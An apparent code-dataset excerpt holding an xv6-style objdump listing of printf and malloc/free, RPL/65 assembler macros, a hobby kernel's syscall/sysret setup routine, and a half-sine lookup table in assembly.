print_d(fd, va_arg(ap, int));
19b9: 8b 85 20 ff ff ff mov -0xe0(%rbp),%eax
19bf: 83 f8 2f cmp $0x2f,%eax
19c2: 77 23 ja 19e7 <printf+0x1ee>
19c4: 48 8b 85 30 ff ff ff mov -0xd0(%rbp),%rax
19cb: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
19d1: 89 d2 mov %edx,%edx
19d3: 48 01 d0 add %rdx,%rax
19d6: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
19dc: 83 c2 08 add $0x8,%edx
19df: 89 95 20 ff ff ff mov %edx,-0xe0(%rbp)
19e5: eb 12 jmp 19f9 <printf+0x200>
19e7: 48 8b 85 28 ff ff ff mov -0xd8(%rbp),%rax
19ee: 48 8d 50 08 lea 0x8(%rax),%rdx
19f2: 48 89 95 28 ff ff ff mov %rdx,-0xd8(%rbp)
19f9: 8b 10 mov (%rax),%edx
19fb: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax
1a01: 89 d6 mov %edx,%esi
1a03: 89 c7 mov %eax,%edi
1a05: 48 b8 01 17 00 00 00 movabs $0x1701,%rax
1a0c: 00 00 00
1a0f: ff d0 callq *%rax
break;
1a11: e9 b5 01 00 00 jmpq 1bcb <printf+0x3d2>
case 'x':
print_x32(fd, va_arg(ap, uint));
1a16: 8b 85 20 ff ff ff mov -0xe0(%rbp),%eax
1a1c: 83 f8 2f cmp $0x2f,%eax
1a1f: 77 23 ja 1a44 <printf+0x24b>
1a21: 48 8b 85 30 ff ff ff mov -0xd0(%rbp),%rax
1a28: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
1a2e: 89 d2 mov %edx,%edx
1a30: 48 01 d0 add %rdx,%rax
1a33: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
1a39: 83 c2 08 add $0x8,%edx
1a3c: 89 95 20 ff ff ff mov %edx,-0xe0(%rbp)
1a42: eb 12 jmp 1a56 <printf+0x25d>
1a44: 48 8b 85 28 ff ff ff mov -0xd8(%rbp),%rax
1a4b: 48 8d 50 08 lea 0x8(%rax),%rdx
1a4f: 48 89 95 28 ff ff ff mov %rdx,-0xd8(%rbp)
1a56: 8b 10 mov (%rax),%edx
1a58: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax
1a5e: 89 d6 mov %edx,%esi
1a60: 89 c7 mov %eax,%edi
1a62: 48 b8 a4 16 00 00 00 movabs $0x16a4,%rax
1a69: 00 00 00
1a6c: ff d0 callq *%rax
break;
1a6e: e9 58 01 00 00 jmpq 1bcb <printf+0x3d2>
case 'p':
print_x64(fd, va_arg(ap, addr_t));
1a73: 8b 85 20 ff ff ff mov -0xe0(%rbp),%eax
1a79: 83 f8 2f cmp $0x2f,%eax
1a7c: 77 23 ja 1aa1 <printf+0x2a8>
1a7e: 48 8b 85 30 ff ff ff mov -0xd0(%rbp),%rax
1a85: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
1a8b: 89 d2 mov %edx,%edx
1a8d: 48 01 d0 add %rdx,%rax
1a90: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
1a96: 83 c2 08 add $0x8,%edx
1a99: 89 95 20 ff ff ff mov %edx,-0xe0(%rbp)
1a9f: eb 12 jmp 1ab3 <printf+0x2ba>
1aa1: 48 8b 85 28 ff ff ff mov -0xd8(%rbp),%rax
1aa8: 48 8d 50 08 lea 0x8(%rax),%rdx
1aac: 48 89 95 28 ff ff ff mov %rdx,-0xd8(%rbp)
1ab3: 48 8b 10 mov (%rax),%rdx
1ab6: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax
1abc: 48 89 d6 mov %rdx,%rsi
1abf: 89 c7 mov %eax,%edi
1ac1: 48 b8 47 16 00 00 00 movabs $0x1647,%rax
1ac8: 00 00 00
1acb: ff d0 callq *%rax
break;
1acd: e9 f9 00 00 00 jmpq 1bcb <printf+0x3d2>
case 's':
if ((s = va_arg(ap, char*)) == 0)
1ad2: 8b 85 20 ff ff ff mov -0xe0(%rbp),%eax
1ad8: 83 f8 2f cmp $0x2f,%eax
1adb: 77 23 ja 1b00 <printf+0x307>
1add: 48 8b 85 30 ff ff ff mov -0xd0(%rbp),%rax
1ae4: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
1aea: 89 d2 mov %edx,%edx
1aec: 48 01 d0 add %rdx,%rax
1aef: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
1af5: 83 c2 08 add $0x8,%edx
1af8: 89 95 20 ff ff ff mov %edx,-0xe0(%rbp)
1afe: eb 12 jmp 1b12 <printf+0x319>
1b00: 48 8b 85 28 ff ff ff mov -0xd8(%rbp),%rax
1b07: 48 8d 50 08 lea 0x8(%rax),%rdx
1b0b: 48 89 95 28 ff ff ff mov %rdx,-0xd8(%rbp)
1b12: 48 8b 00 mov (%rax),%rax
1b15: 48 89 85 40 ff ff ff mov %rax,-0xc0(%rbp)
1b1c: 48 83 bd 40 ff ff ff cmpq $0x0,-0xc0(%rbp)
1b23: 00
1b24: 75 41 jne 1b67 <printf+0x36e>
s = "(null)";
1b26: 48 b8 38 1f 00 00 00 movabs $0x1f38,%rax
1b2d: 00 00 00
1b30: 48 89 85 40 ff ff ff mov %rax,-0xc0(%rbp)
while (*s)
1b37: eb 2e jmp 1b67 <printf+0x36e>
putc(fd, *(s++));
1b39: 48 8b 85 40 ff ff ff mov -0xc0(%rbp),%rax
1b40: 48 8d 50 01 lea 0x1(%rax),%rdx
1b44: 48 89 95 40 ff ff ff mov %rdx,-0xc0(%rbp)
1b4b: 0f b6 00 movzbl (%rax),%eax
1b4e: 0f be d0 movsbl %al,%edx
1b51: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax
1b57: 89 d6 mov %edx,%esi
1b59: 89 c7 mov %eax,%edi
1b5b: 48 b8 13 16 00 00 00 movabs $0x1613,%rax
1b62: 00 00 00
1b65: ff d0 callq *%rax
while (*s)
1b67: 48 8b 85 40 ff ff ff mov -0xc0(%rbp),%rax
1b6e: 0f b6 00 movzbl (%rax),%eax
1b71: 84 c0 test %al,%al
1b73: 75 c4 jne 1b39 <printf+0x340>
break;
1b75: eb 54 jmp 1bcb <printf+0x3d2>
case '%':
putc(fd, '%');
1b77: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax
1b7d: be 25 00 00 00 mov $0x25,%esi
1b82: 89 c7 mov %eax,%edi
1b84: 48 b8 13 16 00 00 00 movabs $0x1613,%rax
1b8b: 00 00 00
1b8e: ff d0 callq *%rax
break;
1b90: eb 39 jmp 1bcb <printf+0x3d2>
default:
// Print unknown % sequence to draw attention.
putc(fd, '%');
1b92: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax
1b98: be 25 00 00 00 mov $0x25,%esi
1b9d: 89 c7 mov %eax,%edi
1b9f: 48 b8 13 16 00 00 00 movabs $0x1613,%rax
1ba6: 00 00 00
1ba9: ff d0 callq *%rax
putc(fd, c);
1bab: 8b 85 3c ff ff ff mov -0xc4(%rbp),%eax
1bb1: 0f be d0 movsbl %al,%edx
1bb4: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax
1bba: 89 d6 mov %edx,%esi
1bbc: 89 c7 mov %eax,%edi
1bbe: 48 b8 13 16 00 00 00 movabs $0x1613,%rax
1bc5: 00 00 00
1bc8: ff d0 callq *%rax
break;
1bca: 90 nop
for (i = 0; (c = fmt[i] & 0xff) != 0; i++) {
1bcb: 83 85 4c ff ff ff 01 addl $0x1,-0xb4(%rbp)
1bd2: 8b 85 4c ff ff ff mov -0xb4(%rbp),%eax
1bd8: 48 63 d0 movslq %eax,%rdx
1bdb: 48 8b 85 10 ff ff ff mov -0xf0(%rbp),%rax
1be2: 48 01 d0 add %rdx,%rax
1be5: 0f b6 00 movzbl (%rax),%eax
1be8: 0f be c0 movsbl %al,%eax
1beb: 25 ff 00 00 00 and $0xff,%eax
1bf0: 89 85 3c ff ff ff mov %eax,-0xc4(%rbp)
1bf6: 83 bd 3c ff ff ff 00 cmpl $0x0,-0xc4(%rbp)
1bfd: 0f 85 8e fc ff ff jne 1891 <printf+0x98>
}
}
}
1c03: eb 01 jmp 1c06 <printf+0x40d>
break;
1c05: 90 nop
}
1c06: 90 nop
1c07: c9 leaveq
1c08: c3 retq
0000000000001c09 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
1c09: f3 0f 1e fa endbr64
1c0d: 55 push %rbp
1c0e: 48 89 e5 mov %rsp,%rbp
1c11: 48 83 ec 18 sub $0x18,%rsp
1c15: 48 89 7d e8 mov %rdi,-0x18(%rbp)
Header *bp, *p;
bp = (Header*)ap - 1;
1c19: 48 8b 45 e8 mov -0x18(%rbp),%rax
1c1d: 48 83 e8 10 sub $0x10,%rax
1c21: 48 89 45 f0 mov %rax,-0x10(%rbp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
1c25: 48 b8 a0 22 00 00 00 movabs $0x22a0,%rax
1c2c: 00 00 00
1c2f: 48 8b 00 mov (%rax),%rax
1c32: 48 89 45 f8 mov %rax,-0x8(%rbp)
1c36: eb 2f jmp 1c67 <free+0x5e>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
1c38: 48 8b 45 f8 mov -0x8(%rbp),%rax
1c3c: 48 8b 00 mov (%rax),%rax
1c3f: 48 39 45 f8 cmp %rax,-0x8(%rbp)
1c43: 72 17 jb 1c5c <free+0x53>
1c45: 48 8b 45 f0 mov -0x10(%rbp),%rax
1c49: 48 3b 45 f8 cmp -0x8(%rbp),%rax
1c4d: 77 2f ja 1c7e <free+0x75>
1c4f: 48 8b 45 f8 mov -0x8(%rbp),%rax
1c53: 48 8b 00 mov (%rax),%rax
1c56: 48 39 45 f0 cmp %rax,-0x10(%rbp)
1c5a: 72 22 jb 1c7e <free+0x75>
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
1c5c: 48 8b 45 f8 mov -0x8(%rbp),%rax
1c60: 48 8b 00 mov (%rax),%rax
1c63: 48 89 45 f8 mov %rax,-0x8(%rbp)
1c67: 48 8b 45 f0 mov -0x10(%rbp),%rax
1c6b: 48 3b 45 f8 cmp -0x8(%rbp),%rax
1c6f: 76 c7 jbe 1c38 <free+0x2f>
1c71: 48 8b 45 f8 mov -0x8(%rbp),%rax
1c75: 48 8b 00 mov (%rax),%rax
1c78: 48 39 45 f0 cmp %rax,-0x10(%rbp)
1c7c: 73 ba jae 1c38 <free+0x2f>
break;
if(bp + bp->s.size == p->s.ptr){
1c7e: 48 8b 45 f0 mov -0x10(%rbp),%rax
1c82: 8b 40 08 mov 0x8(%rax),%eax
1c85: 89 c0 mov %eax,%eax
1c87: 48 c1 e0 04 shl $0x4,%rax
1c8b: 48 89 c2 mov %rax,%rdx
1c8e: 48 8b 45 f0 mov -0x10(%rbp),%rax
1c92: 48 01 c2 add %rax,%rdx
1c95: 48 8b 45 f8 mov -0x8(%rbp),%rax
1c99: 48 8b 00 mov (%rax),%rax
1c9c: 48 39 c2 cmp %rax,%rdx
1c9f: 75 2d jne 1cce <free+0xc5>
bp->s.size += p->s.ptr->s.size;
1ca1: 48 8b 45 f0 mov -0x10(%rbp),%rax
1ca5: 8b 50 08 mov 0x8(%rax),%edx
1ca8: 48 8b 45 f8 mov -0x8(%rbp),%rax
1cac: 48 8b 00 mov (%rax),%rax
1caf: 8b 40 08 mov 0x8(%rax),%eax
1cb2: 01 c2 add %eax,%edx
1cb4: 48 8b 45 f0 mov -0x10(%rbp),%rax
1cb8: 89 50 08 mov %edx,0x8(%rax)
bp->s.ptr = p->s.ptr->s.ptr;
1cbb: 48 8b 45 f8 mov -0x8(%rbp),%rax
1cbf: 48 8b 00 mov (%rax),%rax
1cc2: 48 8b 10 mov (%rax),%rdx
1cc5: 48 8b 45 f0 mov -0x10(%rbp),%rax
1cc9: 48 89 10 mov %rdx,(%rax)
1ccc: eb 0e jmp 1cdc <free+0xd3>
} else
bp->s.ptr = p->s.ptr;
1cce: 48 8b 45 f8 mov -0x8(%rbp),%rax
1cd2: 48 8b 10 mov (%rax),%rdx
1cd5: 48 8b 45 f0 mov -0x10(%rbp),%rax
1cd9: 48 89 10 mov %rdx,(%rax)
if(p + p->s.size == bp){
1cdc: 48 8b 45 f8 mov -0x8(%rbp),%rax
1ce0: 8b 40 08 mov 0x8(%rax),%eax
1ce3: 89 c0 mov %eax,%eax
1ce5: 48 c1 e0 04 shl $0x4,%rax
1ce9: 48 89 c2 mov %rax,%rdx
1cec: 48 8b 45 f8 mov -0x8(%rbp),%rax
1cf0: 48 01 d0 add %rdx,%rax
1cf3: 48 39 45 f0 cmp %rax,-0x10(%rbp)
1cf7: 75 27 jne 1d20 <free+0x117>
p->s.size += bp->s.size;
1cf9: 48 8b 45 f8 mov -0x8(%rbp),%rax
1cfd: 8b 50 08 mov 0x8(%rax),%edx
1d00: 48 8b 45 f0 mov -0x10(%rbp),%rax
1d04: 8b 40 08 mov 0x8(%rax),%eax
1d07: 01 c2 add %eax,%edx
1d09: 48 8b 45 f8 mov -0x8(%rbp),%rax
1d0d: 89 50 08 mov %edx,0x8(%rax)
p->s.ptr = bp->s.ptr;
1d10: 48 8b 45 f0 mov -0x10(%rbp),%rax
1d14: 48 8b 10 mov (%rax),%rdx
1d17: 48 8b 45 f8 mov -0x8(%rbp),%rax
1d1b: 48 89 10 mov %rdx,(%rax)
1d1e: eb 0b jmp 1d2b <free+0x122>
} else
p->s.ptr = bp;
1d20: 48 8b 45 f8 mov -0x8(%rbp),%rax
1d24: 48 8b 55 f0 mov -0x10(%rbp),%rdx
1d28: 48 89 10 mov %rdx,(%rax)
freep = p;
1d2b: 48 ba a0 22 00 00 00 movabs $0x22a0,%rdx
1d32: 00 00 00
1d35: 48 8b 45 f8 mov -0x8(%rbp),%rax
1d39: 48 89 02 mov %rax,(%rdx)
}
1d3c: 90 nop
1d3d: c9 leaveq
1d3e: c3 retq
0000000000001d3f <morecore>:
static Header*
morecore(uint nu)
{
1d3f: f3 0f 1e fa endbr64
1d43: 55 push %rbp
1d44: 48 89 e5 mov %rsp,%rbp
1d47: 48 83 ec 20 sub $0x20,%rsp
1d4b: 89 7d ec mov %edi,-0x14(%rbp)
char *p;
Header *hp;
if(nu < 4096)
1d4e: 81 7d ec ff 0f 00 00 cmpl $0xfff,-0x14(%rbp)
1d55: 77 07 ja 1d5e <morecore+0x1f>
nu = 4096;
1d57: c7 45 ec 00 10 00 00 movl $0x1000,-0x14(%rbp)
p = sbrk(nu * sizeof(Header));
1d5e: 8b 45 ec mov -0x14(%rbp),%eax
1d61: 48 c1 e0 04 shl $0x4,%rax
1d65: 48 89 c7 mov %rax,%rdi
1d68: 48 b8 df 15 00 00 00 movabs $0x15df,%rax
1d6f: 00 00 00
1d72: ff d0 callq *%rax
1d74: 48 89 45 f8 mov %rax,-0x8(%rbp)
if(p == (char*)-1)
1d78: 48 83 7d f8 ff cmpq $0xffffffffffffffff,-0x8(%rbp)
1d7d: 75 07 jne 1d86 <morecore+0x47>
return 0;
1d7f: b8 00 00 00 00 mov $0x0,%eax
1d84: eb 36 jmp 1dbc <morecore+0x7d>
hp = (Header*)p;
1d86: 48 8b 45 f8 mov -0x8(%rbp),%rax
1d8a: 48 89 45 f0 mov %rax,-0x10(%rbp)
hp->s.size = nu;
1d8e: 48 8b 45 f0 mov -0x10(%rbp),%rax
1d92: 8b 55 ec mov -0x14(%rbp),%edx
1d95: 89 50 08 mov %edx,0x8(%rax)
free((void*)(hp + 1));
1d98: 48 8b 45 f0 mov -0x10(%rbp),%rax
1d9c: 48 83 c0 10 add $0x10,%rax
1da0: 48 89 c7 mov %rax,%rdi
1da3: 48 b8 09 1c 00 00 00 movabs $0x1c09,%rax
1daa: 00 00 00
1dad: ff d0 callq *%rax
return freep;
1daf: 48 b8 a0 22 00 00 00 movabs $0x22a0,%rax
1db6: 00 00 00
1db9: 48 8b 00 mov (%rax),%rax
}
1dbc: c9 leaveq
1dbd: c3 retq
0000000000001dbe <malloc>:
void*
malloc(uint nbytes)
{
1dbe: f3 0f 1e fa endbr64
1dc2: 55 push %rbp
1dc3: 48 89 e5 mov %rsp,%rbp
1dc6: 48 83 ec 30 sub $0x30,%rsp
1dca: 89 7d dc mov %edi,-0x24(%rbp)
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
1dcd: 8b 45 dc mov -0x24(%rbp),%eax
1dd0: 48 83 c0 0f add $0xf,%rax
1dd4: 48 c1 e8 04 shr $0x4,%rax
1dd8: 83 c0 01 add $0x1,%eax
1ddb: 89 45 ec mov %eax,-0x14(%rbp)
if((prevp = freep) == 0){
1dde: 48 b8 a0 22 00 00 00 movabs $0x22a0,%rax
1de5: 00 00 00
1de8: 48 8b 00 mov (%rax),%rax
1deb: 48 89 45 f0 mov %rax,-0x10(%rbp)
1def: 48 83 7d f0 00 cmpq $0x0,-0x10(%rbp)
1df4: 75 4a jne 1e40 <malloc+0x82>
base.s.ptr = freep = prevp = &base;
1df6: 48 b8 90 22 00 00 00 movabs $0x2290,%rax
1dfd: 00 00 00
1e00: 48 89 45 f0 mov %rax,-0x10(%rbp)
1e04: 48 ba a0 22 00 00 00 movabs $0x22a0,%rdx
1e0b: 00 00 00
1e0e: 48 8b 45 f0 mov -0x10(%rbp),%rax
1e12: 48 89 02 mov %rax,(%rdx)
1e15: 48 b8 a0 22 00 00 00 movabs $0x22a0,%rax
1e1c: 00 00 00
1e1f: 48 8b 00 mov (%rax),%rax
1e22: 48 ba 90 22 00 00 00 movabs $0x2290,%rdx
1e29: 00 00 00
1e2c: 48 89 02 mov %rax,(%rdx)
base.s.size = 0;
1e2f: 48 b8 90 22 00 00 00 movabs $0x2290,%rax
1e36: 00 00 00
1e39: c7 40 08 00 00 00 00 movl $0x0,0x8(%rax)
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
1e40: 48 8b 45 f0 mov -0x10(%rbp),%rax
1e44: 48 8b 00 mov (%rax),%rax
1e47: 48 89 45 f8 mov %rax,-0x8(%rbp)
if(p->s.size >= nunits){
1e4b: 48 8b 45 f8 mov -0x8(%rbp),%rax
1e4f: 8b 40 08 mov 0x8(%rax),%eax
1e52: 39 45 ec cmp %eax,-0x14(%rbp)
1e55: 77 65 ja 1ebc <malloc+0xfe>
if(p->s.size == nunits)
1e57: 48 8b 45 f8 mov -0x8(%rbp),%rax
1e5b: 8b 40 08 mov 0x8(%rax),%eax
1e5e: 39 45 ec cmp %eax,-0x14(%rbp)
1e61: 75 10 jne 1e73 <malloc+0xb5>
prevp->s.ptr = p->s.ptr;
1e63: 48 8b 45 f8 mov -0x8(%rbp),%rax
1e67: 48 8b 10 mov (%rax),%rdx
1e6a: 48 8b 45 f0 mov -0x10(%rbp),%rax
1e6e: 48 89 10 mov %rdx,(%rax)
1e71: eb 2e jmp 1ea1 <malloc+0xe3>
else {
p->s.size -= nunits;
1e73: 48 8b 45 f8 mov -0x8(%rbp),%rax
1e77: 8b 40 08 mov 0x8(%rax),%eax
1e7a: 2b 45 ec sub -0x14(%rbp),%eax
1e7d: 89 c2 mov %eax,%edx
1e7f: 48 8b 45 f8 mov -0x8(%rbp),%rax
1e83: 89 50 08 mov %edx,0x8(%rax)
p += p->s.size;
1e86: 48 8b 45 f8 mov -0x8(%rbp),%rax
1e8a: 8b 40 08 mov 0x8(%rax),%eax
1e8d: 89 c0 mov %eax,%eax
1e8f: 48 c1 e0 04 shl $0x4,%rax
1e93: 48 01 45 f8 add %rax,-0x8(%rbp)
p->s.size = nunits;
1e97: 48 8b 45 f8 mov -0x8(%rbp),%rax
1e9b: 8b 55 ec mov -0x14(%rbp),%edx
1e9e: 89 50 08 mov %edx,0x8(%rax)
}
freep = prevp;
1ea1: 48 ba a0 22 00 00 00 movabs $0x22a0,%rdx
1ea8: 00 00 00
1eab: 48 8b 45 f0 mov -0x10(%rbp),%rax
1eaf: 48 89 02 mov %rax,(%rdx)
return (void*)(p + 1);
1eb2: 48 8b 45 f8 mov -0x8(%rbp),%rax
1eb6: 48 83 c0 10 add $0x10,%rax
1eba: eb 4e jmp 1f0a <malloc+0x14c>
}
if(p == freep)
1ebc: 48 b8 a0 22 00 00 00 movabs $0x22a0,%rax
1ec3: 00 00 00
1ec6: 48 8b 00 mov (%rax),%rax
1ec9: 48 39 45 f8 cmp %rax,-0x8(%rbp)
1ecd: 75 23 jne 1ef2 <malloc+0x134>
if((p = morecore(nunits)) == 0)
1ecf: 8b 45 ec mov -0x14(%rbp),%eax
1ed2: 89 c7 mov %eax,%edi
1ed4: 48 b8 3f 1d 00 00 00 movabs $0x1d3f,%rax
1edb: 00 00 00
1ede: ff d0 callq *%rax
1ee0: 48 89 45 f8 mov %rax,-0x8(%rbp)
1ee4: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp)
1ee9: 75 07 jne 1ef2 <malloc+0x134>
return 0;
1eeb: b8 00 00 00 00 mov $0x0,%eax
1ef0: eb 18 jmp 1f0a <malloc+0x14c>
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
1ef2: 48 8b 45 f8 mov -0x8(%rbp),%rax
1ef6: 48 89 45 f0 mov %rax,-0x10(%rbp)
1efa: 48 8b 45 f8 mov -0x8(%rbp),%rax
1efe: 48 8b 00 mov (%rax),%rax
1f01: 48 89 45 f8 mov %rax,-0x8(%rbp)
if(p->s.size >= nunits){
1f05: e9 41 ff ff ff jmpq 1e4b <malloc+0x8d>
}
}
1f0a: c9 leaveq
1f0b: c3 retq
| 39.66906 | 69 | 0.447518 |
d937d00761e872518ef55dc009464999375bbee0 | 969 | asm | Assembly | source/macro.asm | paulscottrobson/rpl-32 | 7bd0c6dc9edc7f5ca4e9e9dac24a75cb32a29acc | [
"MIT"
] | null | null | null | source/macro.asm | paulscottrobson/rpl-32 | 7bd0c6dc9edc7f5ca4e9e9dac24a75cb32a29acc | [
"MIT"
] | null | null | null | source/macro.asm | paulscottrobson/rpl-32 | 7bd0c6dc9edc7f5ca4e9e9dac24a75cb32a29acc | [
"MIT"
] | null | null | null | ; ******************************************************************************
; ******************************************************************************
;
; Name : macro.asm
; Purpose : RPL/65 Macros
; Author : Paul Robson (paul@robsons.org.uk)
; Created : 3rd October 2019
;
; ******************************************************************************
; ******************************************************************************
; ******************************************************************************
;
; Report an Error
;
; ******************************************************************************
rerror: .macro
jsr ErrorHandler
.text \1,0
.endm
; ******************************************************************************
;
; Push on structure stack
;
; ******************************************************************************
pushstruct: .macro
dec StructSP
sta (StructSP)
.endm
| 28.5 | 80 | 0.199174 |
d9cef9e5793e37370d1e2745ce0a10223e762d09 | 744 | asm | Assembly | kernel/userspace.asm | Moldytzu/operatingsystem | 10b6c4317844f0cf7f2b29acdfc0deddd88be93f | [
"MIT"
] | null | null | null | kernel/userspace.asm | Moldytzu/operatingsystem | 10b6c4317844f0cf7f2b29acdfc0deddd88be93f | [
"MIT"
] | null | null | null | kernel/userspace.asm | Moldytzu/operatingsystem | 10b6c4317844f0cf7f2b29acdfc0deddd88be93f | [
"MIT"
] | null | null | null | bits 64
global sysretInit, userspaceJump
extern SyscallHandlerEntry
; initialize the sysret/syscall functionality
sysretInit:
mov rax, SyscallHandlerEntry ; syscall handler entry
mov rdx, rax
shr rdx, 0x20
mov rcx, 0xC0000082 ; LSTAR
wrmsr
mov rcx, 0xc0000080 ; IA32_EFER
rdmsr
or eax, 1 ; set SCE (syscall extensions)
wrmsr
mov rcx, 0xc0000081 ; STAR
rdmsr
mov rdx, 0x00130008 ; syscall base is 0x08, sysret base is 0x13
wrmsr
mov rcx, 0xc0000084 ; FMASK
rdmsr
mov rax, (0xFFFFFFFFFFFFFFFF & ~0b10) ; mask every flag
wrmsr
ret
; jump in userspace
userspaceJump:
mov rcx, rdi ; set the new rip
mov rsp, rsi ; set the new stack
mov r11, 0x202 ; rflags, enable intrerrupts
o64 sysret ; to userspace and beyond | 23.25 | 64 | 0.740591 |
17f254101494d4ef469618d6e9f50656c90cdd6e | 21,783 | asm | Assembly | 8088/demo/cga/span/asm/halfsine.asm | reenigne/reenigne | c3eb8b31d7964e78bbe44908987d4be052a74488 | [
"Unlicense"
] | 92 | 2015-04-10T17:45:11.000Z | 2022-03-30T17:58:51.000Z | 8088/demo/cga/span/asm/halfsine.asm | reenigne/reenigne | c3eb8b31d7964e78bbe44908987d4be052a74488 | [
"Unlicense"
] | 2 | 2017-11-05T07:21:35.000Z | 2018-11-04T23:36:13.000Z | 8088/demo/cga/span/asm/halfsine.asm | reenigne/reenigne | c3eb8b31d7964e78bbe44908987d4be052a74488 | [
"Unlicense"
] | 18 | 2015-04-11T20:32:44.000Z | 2021-11-06T05:19:57.000Z | halfSine:
dw 0x0000, 0x0000, 0x0000, 0x0001, 0x0001, 0x0001, 0x0002, 0x0002
dw 0x0003, 0x0003, 0x0003, 0x0004, 0x0004, 0x0005, 0x0005, 0x0005
dw 0x0006, 0x0006, 0x0007, 0x0007, 0x0007, 0x0008, 0x0008, 0x0009
dw 0x0009, 0x0009, 0x000a, 0x000a, 0x000a, 0x000b, 0x000b, 0x000c
dw 0x000c, 0x000c, 0x000d, 0x000d, 0x000e, 0x000e, 0x000e, 0x000f
dw 0x000f, 0x0010, 0x0010, 0x0010, 0x0011, 0x0011, 0x0012, 0x0012
dw 0x0012, 0x0013, 0x0013, 0x0013, 0x0014, 0x0014, 0x0015, 0x0015
dw 0x0015, 0x0016, 0x0016, 0x0017, 0x0017, 0x0017, 0x0018, 0x0018
dw 0x0018, 0x0019, 0x0019, 0x001a, 0x001a, 0x001a, 0x001b, 0x001b
dw 0x001c, 0x001c, 0x001c, 0x001d, 0x001d, 0x001d, 0x001e, 0x001e
dw 0x001f, 0x001f, 0x001f, 0x0020, 0x0020, 0x0021, 0x0021, 0x0021
dw 0x0022, 0x0022, 0x0022, 0x0023, 0x0023, 0x0024, 0x0024, 0x0024
dw 0x0025, 0x0025, 0x0025, 0x0026, 0x0026, 0x0027, 0x0027, 0x0027
dw 0x0028, 0x0028, 0x0028, 0x0029, 0x0029, 0x002a, 0x002a, 0x002a
dw 0x002b, 0x002b, 0x002b, 0x002c, 0x002c, 0x002c, 0x002d, 0x002d
dw 0x002e, 0x002e, 0x002e, 0x002f, 0x002f, 0x002f, 0x0030, 0x0030
dw 0x0030, 0x0031, 0x0031, 0x0032, 0x0032, 0x0032, 0x0033, 0x0033
dw 0x0033, 0x0034, 0x0034, 0x0034, 0x0035, 0x0035, 0x0036, 0x0036
dw 0x0036, 0x0037, 0x0037, 0x0037, 0x0038, 0x0038, 0x0038, 0x0039
dw 0x0039, 0x0039, 0x003a, 0x003a, 0x003a, 0x003b, 0x003b, 0x003b
dw 0x003c, 0x003c, 0x003d, 0x003d, 0x003d, 0x003e, 0x003e, 0x003e
dw 0x003f, 0x003f, 0x003f, 0x0040, 0x0040, 0x0040, 0x0041, 0x0041
dw 0x0041, 0x0042, 0x0042, 0x0042, 0x0043, 0x0043, 0x0043, 0x0044
dw 0x0044, 0x0044, 0x0045, 0x0045, 0x0045, 0x0046, 0x0046, 0x0046
dw 0x0047, 0x0047, 0x0047, 0x0048, 0x0048, 0x0048, 0x0049, 0x0049
dw 0x0049, 0x004a, 0x004a, 0x004a, 0x004a, 0x004b, 0x004b, 0x004b
dw 0x004c, 0x004c, 0x004c, 0x004d, 0x004d, 0x004d, 0x004e, 0x004e
dw 0x004e, 0x004f, 0x004f, 0x004f, 0x004f, 0x0050, 0x0050, 0x0050
dw 0x0051, 0x0051, 0x0051, 0x0052, 0x0052, 0x0052, 0x0053, 0x0053
dw 0x0053, 0x0053, 0x0054, 0x0054, 0x0054, 0x0055, 0x0055, 0x0055
dw 0x0055, 0x0056, 0x0056, 0x0056, 0x0057, 0x0057, 0x0057, 0x0057
dw 0x0058, 0x0058, 0x0058, 0x0059, 0x0059, 0x0059, 0x0059, 0x005a
dw 0x005a, 0x005a, 0x005b, 0x005b, 0x005b, 0x005b, 0x005c, 0x005c
dw 0x005c, 0x005c, 0x005d, 0x005d, 0x005d, 0x005e, 0x005e, 0x005e
dw 0x005e, 0x005f, 0x005f, 0x005f, 0x005f, 0x0060, 0x0060, 0x0060
dw 0x0060, 0x0061, 0x0061, 0x0061, 0x0061, 0x0062, 0x0062, 0x0062
dw 0x0062, 0x0063, 0x0063, 0x0063, 0x0063, 0x0064, 0x0064, 0x0064
dw 0x0064, 0x0065, 0x0065, 0x0065, 0x0065, 0x0066, 0x0066, 0x0066
dw 0x0066, 0x0067, 0x0067, 0x0067, 0x0067, 0x0067, 0x0068, 0x0068
dw 0x0068, 0x0068, 0x0069, 0x0069, 0x0069, 0x0069, 0x0069, 0x006a
dw 0x006a, 0x006a, 0x006a, 0x006b, 0x006b, 0x006b, 0x006b, 0x006b
dw 0x006c, 0x006c, 0x006c, 0x006c, 0x006c, 0x006d, 0x006d, 0x006d
dw 0x006d, 0x006d, 0x006e, 0x006e, 0x006e, 0x006e, 0x006e, 0x006f
dw 0x006f, 0x006f, 0x006f, 0x006f, 0x0070, 0x0070, 0x0070, 0x0070
dw 0x0070, 0x0071, 0x0071, 0x0071, 0x0071, 0x0071, 0x0071, 0x0072
dw 0x0072, 0x0072, 0x0072, 0x0072, 0x0073, 0x0073, 0x0073, 0x0073
dw 0x0073, 0x0073, 0x0074, 0x0074, 0x0074, 0x0074, 0x0074, 0x0074
dw 0x0075, 0x0075, 0x0075, 0x0075, 0x0075, 0x0075, 0x0075, 0x0076
dw 0x0076, 0x0076, 0x0076, 0x0076, 0x0076, 0x0076, 0x0077, 0x0077
dw 0x0077, 0x0077, 0x0077, 0x0077, 0x0077, 0x0078, 0x0078, 0x0078
